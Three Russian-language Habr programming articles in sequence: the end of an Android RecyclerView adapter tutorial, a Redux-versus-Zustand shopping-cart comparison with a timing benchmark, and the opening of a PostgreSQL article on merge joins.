final String[] words = valueText.split(" ");
//начинаем с первого слова, ведь строка могла начинаться с пробела
for (String word : words) {
if (word.startsWith(prefixString)) {
newValues.add(value);
break;
}
}
}
}
results.values = newValues;
results.count = newValues.size();
}
return results;
}
//отображаем результаты фильтрации
@Override
protected void publishResults(CharSequence constraint, FilterResults results) {
objects = (List) results.values;
//вызываем callback если он есть
if (onFilterObjectCallback != null) {
onFilterObjectCallback.handle(results.count);
}
notifyDataSetChanged();
}
}
```
Пример адаптера полностью аналогичен примеру RecyclerBindableAdapter за исключением одного метода. Этот метод для конвертации элемента в строку, что бы мы потом могли отфильтровать элементы.
```
@Override
protected String itemToString(String item) {
return item;
}
```
Полный текст можно посмотреть [тут](https://github.com/princeparadoxes/RecyclerBindableAdapter/blob/master/library/src/main/java/com/danil/recyclerbindableadapter/library/FilterBindableAdapter.java) или под спойлером.
**FilterBindableAdapter**
```
public abstract class FilterBindableAdapter
extends RecyclerBindableAdapter {
private final Object lock = new Object();
private List originalValues;
private List objects;
private ArrayFilter filter;
private OnFilterObjectCallback onFilterObjectCallback;
protected FilterBindableAdapter() {
objects = new ArrayList();
originalValues = new ArrayList();
}
@Override
public void addAll(List extends T data) {
if (objects.containsAll(data)) {
return;
}
objects.clear();
objects.addAll(data);
originalValues.clear();
originalValues.addAll(data);
notifyItemRangeInserted(getHeadersCount(), data.size());
}
//@TODO need test
public void addShowed(List extends T data) {
objects.clear();
objects.addAll(data);
notifyDataSetChanged();
}
//@TODO need test
@Override
public void removeChild(int position) {
objects.remove(position);
originalValues.remove(position);
objects.remove(position);
notifyItemRemoved(position + getHeadersCount());
int positionStart = position + getHeadersCount();
int itemCount = objects.size() - position;
notifyItemRangeChanged(positionStart, itemCount);
}
//@TODO need test
public void setOnFilterObjectCallback(OnFilterObjectCallback objectCallback) {
onFilterObjectCallback = objectCallback;
}
@Override
public T getItem(int position) {
return objects.get(position);
}
@Override
public int getRealItemCount() {
return objects.size();
}
@Override
public long getItemId(int position) {
return position;
}
protected abstract String itemToString(T item);
public Filter getFilter() {
if (filter == null) {
filter = new ArrayFilter();
}
return filter;
}
public interface OnFilterObjectCallback {
void handle(int countFilterObject);
}
private class ArrayFilter extends Filter {
@Override
protected FilterResults performFiltering(CharSequence prefix) {
FilterResults results = new FilterResults();
if (originalValues == null) {
synchronized (lock) {
originalValues = new ArrayList(objects);
}
}
if (prefix == null || prefix.length() == 0) {
ArrayList list;
synchronized (lock) {
list = new ArrayList(originalValues);
}
results.values = list;
results.count = list.size();
} else {
String prefixString = prefix.toString().toLowerCase();
ArrayList values;
synchronized (lock) {
values = new ArrayList(originalValues);
}
final int count = values.size();
final ArrayList newValues = new ArrayList();
for (int i = 0; i < count; i++) {
final T value = values.get(i);
final String valueText = itemToString(value).toLowerCase();
// First match against the whole, non-splitted value
if (valueText.startsWith(prefixString)) {
newValues.add(value);
} else {
final String[] words = valueText.split(" ");
// Start at index 0, in case valueText starts with space(s)
for (String word : words) {
if (word.startsWith(prefixString)) {
newValues.add(value);
break;
}
}
}
}
results.values = newValues;
results.count = newValues.size();
}
return results;
}
@Override
protected void publishResults(CharSequence constraint, FilterResults results) {
//noinspection unchecked
objects = (List) results.values;
if (onFilterObjectCallback != null) {
onFilterObjectCallback.handle(results.count);
}
notifyDataSetChanged();
}
}
}
```
Пример можно посмотреть [тут](https://github.com/princeparadoxes/RecyclerBindableAdapter/tree/master/sample/src/main/java/com/danil/recyclerbindableadapter/sample/filter).
#### ParallaxBindableAdapter
Теперь приступим к созданию эффекта параллакса. Изначально я планировал сделать параллакс только для Header'а, но потом подумал, что сделать параллакс и для Footer'а будет весьма интересным опытом. Для начала переопределим методы для добавления Header'ов и Footer'ов так, чтобы наш адаптер мог иметь только по одному их экземпляру.
**Переопределяем addHeader и addFooter**
```
@Override
public void addHeader(View header) {
if (getHeadersCount() == 0) {
super.addHeader(header);
} else {
removeHeader(getHeader(0));
super.addHeader(header);
}
}
@Override
public void addFooter(View footer) {
if (getFootersCount() == 0) {
super.addFooter(footer);
} else {
removeFooter(getFooter(0));
super.addFooter(footer);
}
}
```
Теперь создадим контейнер который будет ограничивать область отрисовки для того, чтобы header не залазил под другие элементы. Если вы уже делали параллакс, то скорее всего уже встречались с подобной реализацией. Отличие этой реализации, что она поддерживает еще и footer. Этот контейнер мы будем использовать вместо FrameLayout в onCreateViewHolder().
**ParallaxContainer**
```
public class ParallaxContainer extends FrameLayout {
private final boolean isParallax;
private final boolean isFooter;
private int offset;
public ParallaxContainer(Context context, boolean shouldClick, boolean isFooter) {
super(context);
isParallax = shouldClick;
this.isFooter = isFooter;
}
@Override
protected void dispatchDraw(@NonNull Canvas canvas) {
if (isParallax) {
int top = isFooter ? -offset : 0;
int bottom = isFooter ? getBottom() : getBottom() + offset;
Rect rect = new Rect(getLeft(), top, getRight(), bottom);
canvas.clipRect(rect);
}
super.dispatchDraw(canvas);
}
public void setClipY(int offset) {
this.offset = offset;
invalidate();
}
}
```
Теперь давайте сделаем методы для сдвигания контейнера при скролле. Для этого в методе onAttachedToRecyclerView() повесим на RecyclerView OnScrollListener. Внутри него будем вызывать метод для сдвигания. Ну и естественно нужно создать методы для того, чтобы включать/отключать эффект параллакса.
**Реализуем сдвигание**
```
//переменные для определения стоит ли применять эффект параллакса и setter'ы к ним
private boolean isParallaxHeader = true;
private boolean isParallaxFooter = true;
public void setParallaxHeader(boolean isParallaxHeader) {
this.isParallaxHeader = isParallaxHeader;
}
public void setParallaxFooter(boolean isParallaxFooter) {
this.isParallaxFooter = isParallaxFooter;
}
@Override
public void onAttachedToRecyclerView(RecyclerView recyclerView) {
super.onAttachedToRecyclerView(recyclerView);
//добавляем ScrollListener к RecyclerView
recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() {
@Override
public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
super.onScrolled(recyclerView, dx, dy);
//если header присутствует и к нему надо применять эффект параллакса то сдвигаем его контейнер
if (header != null && isParallaxHeader) {
translateView(recyclerView.computeVerticalScrollOffset(), header, false);
}
//если footer присутствует и к нему надо применять эффект параллакса то сдвигаем его контейнер
if (footer != null && isParallaxFooter) {
int range = recyclerView.computeVerticalScrollRange();
int extend = recyclerView.computeVerticalScrollExtent();
int offset = recyclerView.computeVerticalScrollOffset();
translateView(range - (extend + offset), footer, true);
}
}
});
}
//сдвигание контейнера
private void translateView(float of, ParallaxContainer view, boolean isFooter) {
float ofCalculated = of * SCROLL_MULTIPLIER;
//если это footer то контейнер надо двигать в обратную сторону
ofCalculated = isFooter ? -ofCalculated : ofCalculated;
//сдвигаем наш контейнер
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) {
view.setTranslationY(ofCalculated);
} else {
TranslateAnimation anim = new TranslateAnimation(0, 0, ofCalculated, ofCalculated);
anim.setFillAfter(true);
anim.setDuration(0);
view.startAnimation(anim);
}
//уменьшаем область отрисовки
view.setClipY(Math.round(ofCalculated));
//передаем в callback, то сколько мы проскроллили (вдруг надо скрывать/показывать ActionBar по скроллу)
if (parallaxScroll != null && !isFooter) {
float left = Math.min(1, ((ofCalculated) / (view.getHeight() * SCROLL_MULTIPLIER)));
parallaxScroll.onParallaxScroll(left, of, view);
}
}
```
Полный текст можно посмотреть [тут](https://github.com/princeparadoxes/RecyclerBindableAdapter/blob/master/library/src/main/java/com/danil/recyclerbindableadapter/library/ParallaxBindableAdapter.java) или под спойлером.
**ParallaxBindableAdapter**
```
public abstract class ParallaxBindableAdapter
extends RecyclerBindableAdapter {
private static final float SCROLL\_MULTIPLIER = 0.5f;
private ParallaxContainer header;
private ParallaxContainer footer;
private OnParallaxScroll parallaxScroll;
private boolean isParallaxHeader = true;
private boolean isParallaxFooter = true;
//parallax adapter may have only one header
@Override
public void addHeader(View header) {
if (getHeadersCount() == 0) {
super.addHeader(header);
} else {
removeHeader(getHeader(0));
super.addHeader(header);
}
}
//parallax adapter may have only one header
@Override
public void addFooter(View footer) {
if (getFootersCount() == 0) {
super.addFooter(footer);
} else {
removeFooter(getFooter(0));
super.addFooter(footer);
}
}
private void translateView(float of, ParallaxContainer view, boolean isFooter) {
float ofCalculated = of \* SCROLL\_MULTIPLIER;
ofCalculated = isFooter ? -ofCalculated : ofCalculated;
if (Build.VERSION.SDK\_INT >= Build.VERSION\_CODES.HONEYCOMB) {
view.setTranslationY(ofCalculated);
} else {
TranslateAnimation anim = new TranslateAnimation(0, 0, ofCalculated, ofCalculated);
anim.setFillAfter(true);
anim.setDuration(0);
view.startAnimation(anim);
}
view.setClipY(Math.round(ofCalculated));
if (parallaxScroll != null && !isFooter) {
float left = Math.min(1, ((ofCalculated) / (view.getHeight() \* SCROLL\_MULTIPLIER)));
parallaxScroll.onParallaxScroll(left, of, view);
}
}
@Override
public VH onCreateViewHolder(ViewGroup viewGroup, int type) {
//if our position is one of our items (this comes from getItemViewType(int position) below)
if (type != TYPE\_HEADER && type != TYPE\_FOOTER) {
return (VH) onCreteItemViewHolder(viewGroup, type);
//else if we have a header
} else if (type == TYPE\_HEADER) {
//create a new ParallaxContainer
header = new ParallaxContainer(viewGroup.getContext(), isParallaxHeader, false);
//make sure it fills the space
header.setLayoutParams(new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH\_PARENT,
ViewGroup.LayoutParams.MATCH\_PARENT));
return (VH) new HeaderFooterViewHolder(header);
//else we have a footer
} else {
//create a new ParallaxContainer
footer = new ParallaxContainer(viewGroup.getContext(), isParallaxFooter, true);
//make sure it fills the space
footer.setLayoutParams(new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH\_PARENT,
ViewGroup.LayoutParams.MATCH\_PARENT));
return (VH) new HeaderFooterViewHolder(footer);
}
}
@Override
public void onAttachedToRecyclerView(RecyclerView recyclerView) {
super.onAttachedToRecyclerView(recyclerView);
recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() {
@Override
public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
super.onScrolled(recyclerView, dx, dy);
if (header != null && isParallaxHeader) {
translateView(recyclerView.computeVerticalScrollOffset(), header, false);
}
if (footer != null && isParallaxFooter) {
int range = recyclerView.computeVerticalScrollRange();
int extend = recyclerView.computeVerticalScrollExtent();
int offset = recyclerView.computeVerticalScrollOffset();
translateView(range - (extend + offset), footer, true);
}
}
});
}
public void setParallaxHeader(boolean isParallaxHeader) {
this.isParallaxHeader = isParallaxHeader;
}
public void setParallaxFooter(boolean isParallaxFooter) {
this.isParallaxFooter = isParallaxFooter;
}
public void setOnParallaxScroll(OnParallaxScroll parallaxScroll) {
this.parallaxScroll = parallaxScroll;
this.parallaxScroll.onParallaxScroll(0, 0, header);
}
public interface OnParallaxScroll {
/\*\*
\* Event triggered when the parallax is being scrolled.
\*
\* @param percentage
\* @param offset
\* @param parallax
\*/
void onParallaxScroll(float percentage, float offset, View parallax);
}
}
```
Пример по сути точно такой же как и для RecyclerBindableAdapter, просто нужно изменить что расширять. Пример смотреть [тут](https://github.com/princeparadoxes/RecyclerBindableAdapter/tree/master/sample/src/main/java/com/danil/recyclerbindableadapter/sample/parallax).
#### SimpleBindableAdapter
Для того, чтобы сделать такой адаптер, для начала нам понадобится создать свой ViewHolder. Это делается для того, что бы мы затем точно знали какие методы нам вызывать. Так же нужно сделать свой интерфейс от которого мы в дальнейшем будем наследоваться.
**Скрытый текст**
```
public abstract class BindableViewHolder extends RecyclerView.ViewHolder {
public BindableViewHolder(View itemView) {
super(itemView);
}
//в этом методе будет происходить обработка данных, сейчас вешается OnItemClickListener
public void bindView(final int position, final T item, final ActionListener actionListener) {
if (actionListener != null) {
itemView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
actionListener.OnItemClickListener(position, item);
}
});
}
}
//это интерфейс который мы будем в дальнейшем расширять
public interface ActionListener {
void OnItemClickListener(int position, Object Item);
}
}
```
Теперь приступим к созданию нашего адаптера. Просто окончательно переопределим все методы из RecyclerBindableAdapter и будет создавать новый экземпляр нашего ViewHolder через Java Reflection.
**Скрытый текст**
```
//делаем класс final, чтоб никто, не дай бог, не вздумал от него наследоваться. Указываем, что VH обязательно должен расширять BindableViewHolder
public final class SimpleBindableAdapter
extends RecyclerBindableAdapter {
//переменная в которой будет храниться layout id нашего элемента
@LayoutRes
private final int layoutId;
//класс ViewHolder эта переменная для того, чтобы можно было создать новый экземпляр ViewHolder
Class vhClass;
//интерфейс для взаимодействия с элементом
BindableViewHolder.ActionListener actionListener;
public SimpleBindableAdapter(@LayoutRes int layoutId, Class vhClass) {
this.layoutId = layoutId;
this.vhClass = vhClass;
}
@Override
protected void onBindItemViewHolder(BindableViewHolder viewHolder, int position, int type) {
//вставляем данные во ViewHolder, ради этого метода мы и создавали BindableViewHolder
viewHolder.bindView(position, getItem(position), actionListener);
}
@Override
protected VH viewHolder(View view, int type) {
//через Java Reflection создаем новый экземпляр ViewHolder
try {
return (VH) vhClass.getConstructor(View.class).newInstance(view);
} catch (InstantiationException e) {
e.printStackTrace();
return null;
} catch (IllegalAccessException e) {
e.printStackTrace();
return null;
} catch (NoSuchMethodException e) {
e.printStackTrace();
return null;
} catch (InvocationTargetException e) {
e.printStackTrace();
return null;
}
}
@Override
protected int layoutId(int type) {
return layoutId;
}
public void setActionListener(BindableViewHolder.ActionListener actionListener) {
this.actionListener = actionListener;
}
}
```
Теперь о том, как им пользоваться. Все очень и очень просто.
```
private SimpleBindableAdapter simpleExampleAdapter;
@Override
protected void onCreate(Bundle savedInstanceState) {
.............................................................................................
simpleExampleAdapter = new SimpleBindableAdapter<>(R.layout.simple\_example\_item, SimpleViewHolder.class);
simpleExampleAdapter.setActionListener(new SimpleViewHolder.SimpleActionListener() {
.............................................................................................
}
simpleExampleRecycler.setAdapter(simpleExampleAdapter);
..............................................................................................
}
```
Вот и все, очень просто, не правда ли. Конечно нам еще нужен ViewHolder.
**Скрытый текст**
```
public class SimpleViewHolder extends BindableViewHolder {
@Bind(R.id.simple\_example\_item\_tittle)
TextView tittle;
private int position;
private SimpleActionListener simpleActionListener;
public SimpleViewHolder(View itemView) {
super(itemView);
ButterKnife.bind(this, itemView);
}
@Override
public void bindView(int position, Integer item, ActionListener actionListener) {
super.bindView(position, item, actionListener);
this.position = position;
simpleActionListener = (SimpleActionListener) actionListener;
tittle.setText(String.valueOf(item));
}
@OnClick(R.id.simple\_example\_item\_move\_to\_top)
protected void OnMoveToTopClick() {
if (simpleActionListener != null) {
simpleActionListener.onMoveToTop(position);
}
}
@OnClick(R.id.simple\_example\_item\_remove)
protected void OnRemoveClick() {
if (simpleActionListener != null) {
simpleActionListener.OnRemove(position);
}
}
@OnClick(R.id.simple\_example\_item\_up)
protected void OnUpClick() {
if (simpleActionListener != null) {
simpleActionListener.OnUp(position);
}
}
@OnClick(R.id.simple\_example\_item\_down)
protected void OnDownClick() {
if (simpleActionListener != null) {
simpleActionListener.OnDown(position);
}
}
public interface SimpleActionListener extends ActionListener {
void onMoveToTop(int position);
void OnRemove(int position);
void OnUp(int position);
void OnDown(int position);
}
}
```
Вот и вся инициализация. Вот [здесь](https://github.com/princeparadoxes/RecyclerBindableAdapter/tree/master/sample/src/main/java/com/danil/recyclerbindableadapter/sample/simple) можно найти пример.
Вот [ссылка](https://github.com/princeparadoxes/RecyclerBindableAdapter) на репозиторий, в нем вы найдете все примеры и адаптеры, а также больше документации на кривом английском.
PS. Проект еще не завершен на все 100% поэтому буду признателен за помощь, конструктивную критику и предложения по улучшению. Так же возможно к тому моменту когда вы прочтете эту статью, появится что-то новое.
PSS. На одном из проектов в которых я участвовал, мой коллега начал создание BindableAdapter для RecyclerView, но так и не закончил, сделав реализацию лишь под конкретный проект. В любом случае, если ты это читаешь, большее спасибо за толчок и за идею. | https://habr.com/ru/post/269057/ | null | ru | null |
# Заметка о Redux и Zustand
Привет, друзья!
На днях мне на глаза попалась [статья](https://blog.openreplay.com/building-a-shopping-cart-in-react-with-redux-toolkit-and-redux-persist), посвященная разработке корзины товаров на [React](https://ru.reactjs.org/) с помощью [Redux Toolkit](https://redux-toolkit.js.org/) для управления состоянием приложения и [Redux Persist](https://github.com/rt2zz/redux-persist) для хранения состояния в [localStorage](https://developer.mozilla.org/ru/docs/Web/API/Window/localStorage).
В этой заметке я покажу, как реализовать аналогичный функционал с помощью [Zustand](https://github.com/pmndrs/zustand), что позволит вам наглядно убедиться в его преимуществах перед `Redux` как с точки зрения количества кода, так и с точки зрения производительности.
* [Руководство по Redux Toolkit](https://my-js.org/docs/guide/redux-toolkit)
* [Шпаргалка по Zustand](https://my-js.org/docs/cheatsheet/zustand)
* [Репозиторий с кодом проекта](https://github.com/harryheman/Blog-Posts/tree/master/redux-vs-zustand)
Если вам это интересно, прошу под кат.
Реализация корзины товаров с помощью `Redux`
--------------------------------------------
С вашего позволения, я не буду полностью переводить указанную выше статью, а ограничусь кодом, непосредственно относящимся к `Redux`.
Итак, что нужно сделать для управления состоянием корзины товаров с помощью `Redux` и `localStorage`?
* Устанавливаем 3 зависимости:
```
npm i @reduxjs/toolkit react-redux redux-persist
```
* Определяем часть состояния (state slice) корзины:
```
// src/redux/cartSlice.js
import { createSlice } from '@reduxjs/toolkit';
const cartSlice = createSlice({
name: 'cart',
// начальное состояние
initialState: {
cart: [],
},
reducers: {
// метод для добавления товара в корзину
addToCart: (state, action) => {
const itemInCart = state.cart.find((item) => item.id === action.payload.id);
if (itemInCart) {
itemInCart.quantity++;
} else {
state.cart.push({ ...action.payload, quantity: 1 });
}
},
// метод для увеличения количества товара, находящегося в корзине
incrementQuantity: (state, action) => {
const item = state.cart.find((item) => item.id === action.payload);
item.quantity++;
},
// метод для уменьшения количества товара, находящегося в корзине
decrementQuantity: (state, action) => {
const item = state.cart.find((item) => item.id === action.payload);
if (item.quantity === 1) {
item.quantity = 1
} else {
item.quantity--;
}
},
// метод для удаления товара из корзины
removeItem: (state, action) => {
const removeItem = state.cart.filter((item) => item.id !== action.payload);
state.cart = removeItem;
},
},
});
// редуктор
export const cartReducer = cartSlice.reducer;
// операции (экшены)
export const {
addToCart,
incrementQuantity,
decrementQuantity,
removeItem,
} = cartSlice.actions;
```
* Определяем хранилище:
```
// src/redux/store.js
import { configureStore } from "@reduxjs/toolkit";
import { cartReducer } from "./cartSlice";
export const store = configureStore({
reducer: cartReducer
});
```
* Оборачиваем основной компонент приложения в провайдер хранилища:
```
// src/index.js
import { Provider } from 'react-redux';
import { store } from './redux/store';
root.render(
);
```
* Извлекаем состояние из хранилища с помощью хука `useSelector`:
```
import { useSelector } from 'react-redux';
// в компоненте
const cart = useSelector((state) => state.cart);
```
* Отправляем операции в редуктор для модификации состояния с помощью метода `dispatch`, возвращаемого хуком `useDispatch`:
```
import { useDispatch } from 'react-redux';
import { addToCart } from "../redux/cartSlice";
// в компоненте
const dispatch = useDispatch();
dispatch(
addToCart(item)
);
```
* Для хранения состояния в `localStorage` хранилище определяется следующим образом:
```
// src/redux/store.js
import { configureStore } from "@reduxjs/toolkit";
import { cartReducer } from "./cartSlice";
import storage from 'redux-persist/lib/storage';
import {
persistStore,
persistReducer,
FLUSH,
REHYDRATE,
PAUSE,
PERSIST,
PURGE,
REGISTER,
} from 'redux-persist';
const persistConfig = {
key: 'root',
storage,
};
const persistedReducer = persistReducer(persistConfig, cartReducer);
export const store = configureStore({
reducer: persistedReducer,
middleware: (getDefaultMiddleware) =>
getDefaultMiddleware({
serializableCheck: {
ignoredActions: [FLUSH, REHYDRATE, PAUSE, PERSIST, PURGE, REGISTER],
},
}),
});
export const persistor = persistStore(store);
```
* А основной компонент приложения оборачивается еще в один провайдер:
```
import { store, persistor } from './redux';
import { PersistGate } from 'redux-persist/integration/react';
root.render(
Loading...
```
} persistor={persistor}>
);
Согласитесь, кода получилось многовато. При этом, у нас нет ни одной асинхронной операции, которые в `Redux` обрабатываются особым образом.
Реализации корзины товаров с помощью `Zustand`
----------------------------------------------
Клонируем начальный проект из статьи:
```
git clone -b starter https://github.com/Tammibriggs/shopping-cart.git
```
Переходим в директорию и устанавливаем `Zustand`:
```
cd shopping-cart
npm i zustand
```
Создаем в директории `src` файл `store/cart.js` следующего содержания:
```
import create from "zustand";
const useCartStore = create((set, get) => ({
// начальное состояние
cart: [],
// метод для добавления товара в корзину
addToCart: (item) => {
const { cart } = get();
const itemInCart = cart.find((i) => i.id === item.id);
const newCart = itemInCart
? cart.map((i) =>
i.id === item.id ? { ...i, quantity: i.quantity + 1 } : i
)
: [...cart, { ...item, quantity: 1 }];
set({ cart: newCart });
},
// метод для удаления товара из корзины
removeItem: (id) => {
const newCart = get().cart.filter((i) => i.id !== id);
set({ cart: newCart });
},
// метод для увеличения количества товара, находящегося в корзине
incrementQuantity: (id) => {
const newCart = get().cart.map((i) =>
i.id === id ? { ...i, quantity: i.quantity + 1 } : i
);
set({ cart: newCart });
},
// метод для уменьшения количества товара, находящегося в корзине
decrementQuantity: (id) => {
const newCart = get().cart.map((i) =>
i.id === id ? { ...i, quantity: i.quantity - 1 } : i
);
set({ cart: newCart });
},
// дополнительно
// метод для получения общего количества наименований товаров, находящихся в корзине
getTotalItems: () => get().cart.length,
// метод для получения общего количества товаров, находящихся в корзине
getTotalQuantity: () => get().cart.reduce((x, y) => x + y.quantity, 0),
// метод для получения общей стоимости товаров, находящихся в корзине
getTotalPrice: () => get().cart.reduce((x, y) => x + y.price * y.quantity, 0),
}));
```
*Внимание*: это все, что требуется для управления состоянием приложения с помощью `Zustand`.
Посмотрим на использование хука `useCartStore` в компонентах приложения.
**Главная страница**
На главной странице из состояния извлекается общее количество наименований товаров, находящихся в корзине:
```
// pages/Home.js
import useCartStore from "../store/cart";
function Home() {
// возвращаем объект для того, чтобы повторно рендерить компонент при любом изменении состояния
const { getTotalItems } = useCartStore(({ getTotalItems }) => ({
getTotalItems,
}));
// ...
}
```
Количество наименований отображается рядом с иконкой (кнопкой) корзины:
```
navigate("/cart")}>
{getTotalItems() || 0}
```
**Страница корзины**
На странице корзины из состояние извлекаются товары, добавленные в корзину:
```
// pages/Cart.js
const cart = useCartStore(({ cart }) => cart);
```
Товары используются для рендеринга соответствующих карточек:
```
### Shopping Cart
{cart.map((i) => (
))}
```
**Карточка товара на главной странице**
В карточке товара для главной странице из состояния извлекается метод для добавления товара в корзину:
```
// components/Item.js
const addToCart = useCartStore(({ addToCart }) => addToCart);
```
Данный метод можно мемоизировать следующим образом:
```
const addItem = useCallback(() => {
addToCart({ id, title, image, price });
}, []);
```
Вызывается он при нажатии соответствующей кнопки:
```
Add to Cart
```
**Карточка товара на странице корзины**
В карточке товара для страницы корзины из состояния извлекаются методы для удаления товара из корзины, увеличения и уменьшения количества товаров, находящихся в корзине:
```
// components/CartItem.js
const { incrementQuantity, decrementQuantity, removeItem } = useCartStore(
({ incrementQuantity, decrementQuantity, removeItem }) => ({
incrementQuantity,
decrementQuantity,
removeItem,
})
);
```
Данные методы вызываются при нажатии соответствующих кнопок:
```
{title}
$
**{price}**
{
if (quantity === 1) return;
decrementQuantity(id);
}}
>
-
{quantity}
incrementQuantity(id)}>+
removeItem(id)}
>
Remove
```
**Статистика**
В компоненте статистики из состояния извлекаются методы для получения общего количества и стоимости товаров, находящихся в корзине:
```
// components/Total.js
const { getTotalQuantity, getTotalPrice } = useCartStore(
({ getTotalQuantity, getTotalPrice }) => ({
getTotalQuantity,
getTotalPrice,
})
);
```
Данные методы вызываются для рендеринга соответствующих данных:
```
total ({getTotalQuantity()} items) :{" "}
**${getTotalPrice()}**
```
Таким образом, мы видим, что управлять состоянием приложения с помощью `Zustand` гораздо проще, чем с помощью `Redux`. Для реализации корзины товаров требуется в **3 раза меньше кода**.
**Хранение состояния в `localStorage`**
Для хранения состояния в `localStorage` с помощью `Zustand` достаточно обернуть функцию обратного вызова, передаваемую в `create()`, в посредник `persist`, указав ключ и используемое хранилище:
```
import { persist } from "zustand/middleware";
const useCartStore = create(
persist(
(set, get) => ({
// ...
}),
{
name: "cart-storage",
getStorage: () => localStorage,
}
)
);
```
Готово.
Сравнение производительности
----------------------------
[Immer](https://github.com/immerjs/immer), встроенный в `Redux Toolkit`, делает его чудовищно медленным. Проведем небольшой эксперимент.
Для чистоты эксперимента удалим весь код, связанный с хранением состояния в `localStorage`.
Определим функции для добавления 2500 товаров в хранилище:
```
// redux
// src/App.js
// ...
import { addToCart } from "./redux/cartSlice";
function App() {
const dispatch = useDispatch();
const addToCart2500Items = () => {
const times = [];
let id = 0;
for (let i = 0; i < 25; i++) {
const start = performance.now();
for (let j = 0; j < 100; j++) {
const item = {
id: id++,
title: "title",
image: "image",
price: "price",
};
// !
dispatch(addToCart(item));
}
const difference = performance.now() - start;
times.push(difference);
}
const time = Math.round(times.reduce((a, c) => (a += c), 0) / 25);
console.log("Time:", time);
};
// вызываем функцию после полной загрузки страницы
useEffect(() => {
window.addEventListener("load", addToCart2500Items);
return () => {
window.removeEventListener("load", addToCart2500Items);
};
}, []);
// ...
}
```
```
// zustand
// ...
import useCartStore from "./store/cart";
function App() {
const addToCart = useCartStore(({ addToCart }) => addToCart);
const addToCart2500Items = () => {
const times = [];
let id = 0;
for (let i = 0; i < 25; i++) {
const start = performance.now();
for (let j = 0; j < 100; j++) {
const item = {
id: id++,
title: "title",
image: "image",
price: "price",
};
// !
addToCart(item);
}
const difference = performance.now() - start;
times.push(difference);
}
const time = Math.round(times.reduce((a, c) => (a += c), 0) / 25);
console.log("Time:", time);
};
useEffect(() => {
window.addEventListener("load", addToCart2500Items);
return () => {
window.removeEventListener("load", addToCart2500Items);
};
}, []);
// ...
}
```
Получаем следующие средние значения (на вашей машине эти значения, скорее всего, будут немного отличаться):
* `Zustand` — **10 мс**;
* `Redux` — **250 мс**.
*Внимание*: для добавления в хранилище 2500 товаров `Redux` требуется (sic!) в 25 раз больше времени, чем `Zustand`.
Обновление и удаления товаров дают аналогичные результаты. Полагаю, цифры говорят сами за себя.
Что насчет размера пакетов? — спросите вы. Пожалуйста:
Это все, чем я хотел поделиться с вами в данной заметке. Надеюсь, вы нашли для себя что-то интересное и не зря потратили время. Благодарю за внимание и happy coding!
---
[](https://cloud.timeweb.com/vds-vps?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/683726/ | null | ru | null |
# Запросы в PostgreSQL: 7. Сортировка и слияние
В предыдущих статьях я писал про [этапы выполнения запросов](https://habr.com/ru/company/postgrespro/blog/574702/), про [статистику](https://habr.com/ru/company/postgrespro/blog/576100/), про два основных вида доступа к данным — [последовательное сканирование](https://habr.com/ru/company/postgrespro/blog/576980/) и [индексное сканирование](https://habr.com/ru/company/postgrespro/blog/578196/), — и успел рассказать о двух способах соединения — [вложенном цикле](https://habr.com/ru/company/postgrespro/blog/579024/) и [соединении хешированием](https://habr.com/ru/company/postgrespro/blog/581174/).
В заключительной статье этой серии я расскажу про *алгоритм слияния* и про *сортировку*, и сравню все три способа соединения между собой.
Соединение слиянием
-------------------
Соединение слиянием работает для наборов данных, отсортированных по ключу соединения, и возвращает отсортированный же результат. Входной набор может получиться заранее отсортированным в результате индексного сканирования или он может быть отсортирован явно.
### Слияние отсортированных наборов
Вот пример соединения слиянием; оно представлено в плане выполнения узлом Merge Join:
```
EXPLAIN (costs off) SELECT *
FROM tickets t
JOIN ticket_flights tf ON tf.ticket_no = t.ticket_no
ORDER BY t.ticket_no;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Merge Join
Merge Cond: (t.ticket_no = tf.ticket_no)
−> Index Scan using tickets_pkey on tickets t
−> Index Scan using ticket_flights_pkey on ticket_flights tf
(4 rows)
```
Здесь оптимизатор предпочел именно этот способ соединения, поскольку он возвращает результат именно в том порядке, который указан в предложении `ORDER BY`. Работая с планами, оптимизатор учитывает порядок сортировки наборов данных и не выполняет явную сортировку, если в ней нет необходимости. В частности, полученный набор можно использовать для следующего соединения слиянием, если порядок сортировки сохраняется:
```
EXPLAIN (costs off) SELECT *
FROM tickets t
JOIN ticket_flights tf ON t.ticket_no = tf.ticket_no
JOIN boarding_passes bp ON bp.ticket_no = tf.ticket_no
AND bp.flight_id = tf.flight_id
ORDER BY t.ticket_no;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Merge Join
Merge Cond: (tf.ticket_no = t.ticket_no)
−> Merge Join
Merge Cond: ((tf.ticket_no = bp.ticket_no) AND (tf.flight_...
−> Index Scan using ticket_flights_pkey on ticket_flights tf
−> Index Scan using boarding_passes_pkey on boarding_passe...
−> Index Scan using tickets_pkey on tickets t
(7 rows)
```
Сначала соединяются таблицы перелетов (`ticket_flights`) и посадочных талонов (`boarding_passes`); обе имеют составной первичный ключ (`ticket_no`, `flight_id`) и результат отсортирован по этим двум столбцам. Полученный набор строк соединяется с билетами (`tickets`), отсортированными по `ticket_no`.
Соединение выполняется за один проход по обоим наборам данных и не требует дополнительной памяти. Используются два указателя на текущие (изначально — первые) строки внутреннего и внешнего наборов.
Если ключи двух текущих строк не совпадают, один из указателей — тот, что ссылается на строку с меньшим ключом — продвигается на одну позицию вперед до тех пор, пока не будет найдено совпадение. Соответствующие друг другу строки возвращаются вышестоящему узлу, а указатель внутреннего набора данных продвигается на одну позицию вперед. Алгоритм продолжается до тех пор, пока один из наборов не закончится.
